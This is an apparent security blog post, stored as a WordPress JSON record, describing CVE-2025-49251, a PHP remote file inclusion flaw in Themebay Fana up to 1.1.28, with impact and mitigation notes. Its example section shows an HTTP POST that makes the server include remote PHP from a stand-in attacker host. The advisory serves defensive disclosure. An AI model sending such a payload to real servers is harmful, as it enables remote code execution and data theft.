{"id":55423,"date":"2025-06-27T09:11:26","date_gmt":"2025-06-27T09:11:26","guid":{"rendered":""},"modified":"2025-09-12T00:48:15","modified_gmt":"2025-09-12T06:48:15","slug":"cve-2025-49251-php-remote-file-inclusion-vulnerability-in-themebay-fana","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-49251-php-remote-file-inclusion-vulnerability-in-themebay-fana\/","title":{"rendered":"CVE-2025-49251: PHP Remote File Inclusion Vulnerability in Themebay Fana<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

Recently, a new vulnerability, identified as CVE-2025-49251, has been discovered within the Themebay Fana PHP program. This flaw allows for PHP Remote File Inclusion, a serious issue that can lead to system compromise or data leakage. PHP developers and administrators using Themebay<\/a> Fana, particularly versions up to and including 1.1.28, are the primary group at risk. This vulnerability matters due to its severity, which has been given a CVSS score of 8.1, indicating it as a high-risk vulnerability<\/a>.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-49251
\nSeverity: High (8.1 CVSS Score)
\nAttack Vector: Network
\nPrivileges Required: Low
\nUser Interaction: None
\nImpact: System compromise or data<\/a> leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Themebay Fana | Up to and including 1.1.28<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability, CVE-2025-49251, lies within the ‘include’ or ‘require’ statement in the PHP program of Themebay<\/a> Fana. It allows an attacker to manipulate the filename that is passed to these statements and thus include a remote file<\/a>. This remote file can contain malicious PHP code that gets executed<\/a> on the server. This can lead to unauthorized<\/a> system access and potential data leakage.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Below is a conceptual example of how the vulnerability might be exploited using an HTTP request<\/a>. The attacker sends a POST request that includes a malicious payload designed to exploit the PHP Remote File Inclusion vulnerability<\/a>:<\/p>\n

POST \/vulnerable\/endpoint HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{\n\"include_file\": \"http:\/\/attacker.com\/malicious_file.php\"\n}<\/code><\/pre>\n
In this example, the attacker is attempting to include a malicious file from their server<\/a>. If the server is vulnerable, this file will be included and executed, leading to potential system<\/a> compromise or data leakage.<\/p>\n
Mitigation and Prevention<\/strong><\/p>\n
The primary method to mitigate this vulnerability<\/a> is to apply the vendor’s patch. If a patch is not available or cannot be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Further, it’s always a good practice to sanitize and validate all user inputs and restrict the use of the ‘include’ and ‘require’ statements to prevent these types of vulnerabilities<\/a>.
\nAlways ensure that your systems are regularly updated and patched to prevent exploitation of known vulnerabilities<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"
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